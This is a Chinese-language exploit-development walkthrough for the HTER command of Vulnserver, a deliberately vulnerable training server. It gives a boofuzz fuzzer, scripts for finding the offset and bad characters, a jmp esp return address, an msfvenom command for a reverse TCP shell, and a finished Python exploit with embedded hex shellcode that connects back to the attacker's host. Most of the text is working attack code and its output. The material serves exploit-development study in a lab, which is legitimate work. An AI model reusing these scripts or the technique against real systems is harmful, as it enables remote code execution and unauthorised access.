0%

Vulnserver HTER Exploit with Restricted Characters

本次实验讨论在Win10 21h2 x86系统下关闭DEP。继续分析Vulnserver HTER,先来看一下逆向的代码,挑重点的看:

BOF

这里的_strtoul函数,将字符串转换为无符号长整数值。具体可以参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strtoul-strtoul-l-wcstoul-wcstoul-l?view=msvc-170.本程序是将`16`进制转换为无符号长整数值。意味着我们需要传入`hex`格式的字符串,也就是`0-9,A-F,a-f`都可以。这对后续坏字符查找和最后的`shellcode`编写都很重要。

来看看新的fuzz代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

from boofuzz import *

host = '192.168.91.142'
port = 9999

session = Session(target=Target(connection=SocketConnection(host, port, proto="tcp")))

s_initialize("HTER")

s_string("HTER", fuzzable=False)
s_delim(" ",fuzzable=False)
s_string("FUZZ")

session.connect(s_get("HTER"))
session.fuzz()

这里用到了boofuzz,据说很好用。但是fuzz有个问题,就算程序崩溃了,想要一眼找到具体需要发送的字符长度很难,还是需要测试。

这里从boofuzz找到,5000A的时候是可以崩溃的。后来又测试了3000A,发现也会崩溃。

继续来查找offset,这里不能用msf-pattern-create生产的字符串来进行测试寻址,因为只能为0-9,a-f,A-F,所以这里需要自己构造,使用的方法有点像算法里面的二分查找。

先看下构造的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

offset = b'A'*1000+b'B'*1000+b'C'*1000

PAYLOAD = (
b'HTER ' +
offset
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

可以看到EIPcccccccc覆盖:

BOF

后续应该继续在c字符串所在位置进行细分,比较繁琐,最后确定offset2041

最终的确定offset程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

offset = b'A'*1000+b'B'*1000+b'C'*41+b'deadbeef'+b'A'*955

PAYLOAD = (
b'HTER ' +
offset
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

BOF

查找badchar的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

# badchar = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
# badchar += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
# badchar += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
# badchar += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
# badchar += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
# badchar += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
# badchar += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
# badchar += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

badchar = b"0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20"
badchar += b"2122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40"
badchar += b"4142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f60"
badchar += b"6162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f80"
badchar += b"8182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0"
badchar += b"a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0"
badchar += b"c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0"
badchar += b"e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff"


payload = b'A'*2041+b'deadbeef'+badchar+b'C'*(955-len(badchar))


PAYLOAD = (
b'HTER ' +
payload
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

注意看,坏字符串都转换为hex格式了。来看一下windbg中的情况:

BOF

BOF

可以发现测试的坏字符串能都保存在内存中,也就是说00为唯一的坏字符。

获取jmp esp的地址:

BOF

这里,选择0x625011af用于覆盖EIP

生成hex格式的shellcode:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444  EXITFUNC=thread -f hex -b '\x00'

BOF

最终的利用代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import socket

HOST = '192.168.91.142'
PORT = 9999

shellcode = b'dad6beb7988f99d97424f45f29c9b1523177170377178358646d6c5a7df08fa27e9506474f957d0ce025f5400dcd5b7086a373772f09a2b6b02296d93239cb390af21e384befd368047b419c21315a1779d7dac4cad6cb5b4081cb5a85b94544ca841cff38729f29717b0c14bd8e4c517a713bab780c3c6802cac96aa4996a56544dec1d5a3a7a797fbdaff27b364ed40d0c75f056d614a132b929b19c668cba3172bde15db78c199edf876aac403ce49c099af3e3235a6b1acc9ba2d998cbdcc8a0871cf474074c5a27e83c1a97805695c8b1597f615ba0e84e34f16126470563ebcee3e90387bc85ba82363742193377c8aec43639dad6afc9918466d50fa0e544d43063754367244b9aedd8f2341321627e97fe57811672e3a5084aece17c02bbbf2ae4150e84becad8404621db16476cadf6f6d9e809368efc722a2e02a9ee4ee17b1be7bceea66a3fc5e592bcef9560dc9a902d5a77e93e0f775e3e1a'
nops = b'90'*32

payload = b'A'*2041+b'af115062'+nops+shellcode+b'C'*(955-len(shellcode)-32)


PAYLOAD = (
b'HTER ' +
payload
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹的shell

BOF

参考:

1.https://captmeelo.com/exploitdev/2018/07/01/vulnserver-hter.html